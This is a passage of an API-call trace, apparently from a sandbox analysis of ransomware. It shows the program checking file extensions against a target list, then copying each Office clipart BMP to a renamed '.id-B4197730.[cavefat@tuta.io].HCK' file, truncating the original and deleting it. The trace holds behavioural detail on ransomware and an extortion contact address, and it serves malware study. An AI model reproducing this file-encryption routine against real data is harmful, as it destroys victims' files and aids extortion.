[0165.220] lstrlenW (lpString=".doc") returned 4 [0165.220] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.220] lstrlenW (lpString=".docx") returned 5 [0165.220] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0165.220] lstrlenW (lpString=".pdf") returned 4 [0165.220] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.220] lstrlenW (lpString=".xls") returned 4 [0165.221] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".xlsx") returned 5 [0165.221] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0165.221] lstrlenW (lpString=".ppt") returned 4 [0165.221] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".zip") returned 4 [0165.221] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".rar") returned 4 [0165.221] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".bz2") returned 4 [0165.221] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".7z") returned 3 [0165.221] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".dbf") returned 4 [0165.221] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".1cd") returned 4 [0165.221] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".jpg") returned 4 [0165.221] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".doc") returned 4 [0165.221] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".docx") returned 5 [0165.221] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0165.221] lstrlenW (lpString=".pdf") returned 4 [0165.221] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".xls") returned 4 [0165.221] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".xlsx") returned 5 [0165.221] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0165.221] lstrlenW (lpString=".ppt") returned 4 [0165.221] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".zip") returned 4 [0165.221] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".rar") returned 4 [0165.221] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".bz2") returned 4 [0165.221] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString=".7z") returned 3 [0165.221] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".dbf") returned 4 [0165.221] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".1cd") returned 4 [0165.221] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0165.221] lstrlenW (lpString=".jpg") returned 4 [0165.222] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.222] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.222] lstrlenW (lpString="J0101857.BMP") returned 12 [0165.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.222] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1 [0165.222] CloseHandle (hObject=0x39c) returned 1 [0165.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0165.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.223] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.223] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.223] GetLastError () returned 0x0 [0165.223] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.224] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.225] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.225] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.226] SetEndOfFile (hFile=0x330) returned 1 [0165.226] CloseHandle (hObject=0x330) returned 1 [0165.226] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.226] SetEndOfFile (hFile=0x39c) returned 1 [0165.226] CloseHandle (hObject=0x39c) returned 1 [0165.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0165.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.227] lstrlenW (lpString=".doc") returned 4 [0165.227] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString=".docx") returned 5 [0165.227] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0165.227] lstrlenW (lpString=".pdf") returned 4 [0165.227] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString=".xls") returned 4 [0165.227] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString=".xlsx") returned 5 [0165.227] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0165.227] lstrlenW (lpString=".ppt") returned 4 [0165.227] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.227] lstrlenW (lpString=".zip") returned 4 [0165.227] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString=".rar") returned 4 [0165.227] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString=".bz2") returned 4 [0165.227] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString=".7z") returned 3 [0165.227] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.227] lstrlenW (lpString=".dbf") returned 4 [0165.227] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.227] lstrlenW (lpString=".1cd") returned 4 [0165.227] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.227] lstrlenW (lpString=".jpg") returned 4 [0165.227] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.228] lstrlenW (lpString=".doc") returned 4 [0165.228] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString=".docx") returned 5 [0165.228] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0165.228] lstrlenW (lpString=".pdf") returned 4 [0165.228] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString=".xls") returned 4 [0165.228] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString=".xlsx") returned 5 [0165.228] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0165.228] lstrlenW (lpString=".ppt") returned 4 [0165.228] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.228] lstrlenW (lpString=".zip") returned 4 [0165.228] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString=".rar") returned 4 [0165.228] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString=".bz2") returned 4 [0165.228] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString=".7z") returned 3 [0165.228] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.228] lstrlenW (lpString=".dbf") returned 4 [0165.228] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.228] lstrlenW (lpString=".1cd") returned 4 [0165.228] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0165.228] lstrlenW (lpString=".jpg") returned 4 [0165.228] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.228] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.228] lstrlenW (lpString="J0101858.BMP") returned 12 [0165.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.228] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1 [0165.228] CloseHandle (hObject=0x39c) returned 1 [0165.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0165.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.229] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.229] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.229] GetLastError () returned 0x0 [0165.229] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.231] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.232] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.232] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.232] SetEndOfFile (hFile=0x330) returned 1 [0165.232] CloseHandle (hObject=0x330) returned 1 [0165.232] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.232] SetEndOfFile (hFile=0x39c) returned 1 [0165.233] CloseHandle (hObject=0x39c) returned 1 [0165.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0165.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.233] lstrlenW (lpString=".doc") returned 4 [0165.233] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.233] lstrlenW (lpString=".docx") returned 5 [0165.233] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0165.233] lstrlenW (lpString=".pdf") returned 4 [0165.233] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.233] lstrlenW (lpString=".xls") returned 4 [0165.233] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.233] lstrlenW (lpString=".xlsx") returned 5 [0165.233] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0165.233] lstrlenW (lpString=".ppt") returned 4 [0165.233] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".zip") returned 4 [0165.234] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".rar") returned 4 [0165.234] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".bz2") returned 4 [0165.234] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".7z") returned 3 [0165.234] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".dbf") returned 4 [0165.234] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".1cd") returned 4 [0165.234] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".jpg") returned 4 [0165.234] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".doc") returned 4 [0165.234] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".docx") returned 5 [0165.234] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0165.234] lstrlenW (lpString=".pdf") returned 4 [0165.234] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".xls") returned 4 [0165.234] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".xlsx") returned 5 [0165.234] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0165.234] lstrlenW (lpString=".ppt") returned 4 [0165.234] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".zip") returned 4 [0165.234] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".rar") returned 4 [0165.234] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".bz2") returned 4 [0165.234] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString=".7z") returned 3 [0165.234] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".dbf") returned 4 [0165.234] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".1cd") returned 4 [0165.234] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0165.234] lstrlenW (lpString=".jpg") returned 4 [0165.234] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.235] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.235] lstrlenW (lpString="J0101859.BMP") returned 12 [0165.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.235] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31968) returned 1 [0165.235] CloseHandle (hObject=0x39c) returned 1 [0165.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0165.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.235] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.235] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.235] GetLastError () returned 0x0 [0165.235] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0165.237] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0165.238] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.238] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.238] SetEndOfFile (hFile=0x330) returned 1 [0165.238] CloseHandle (hObject=0x330) returned 1 [0165.238] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.238] SetEndOfFile (hFile=0x39c) returned 1 [0165.239] CloseHandle (hObject=0x39c) returned 1 [0165.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0165.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.240] lstrlenW (lpString=".doc") returned 4 [0165.240] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".docx") returned 5 [0165.240] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0165.240] lstrlenW (lpString=".pdf") returned 4 [0165.240] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".xls") returned 4 [0165.240] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".xlsx") returned 5 [0165.240] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") 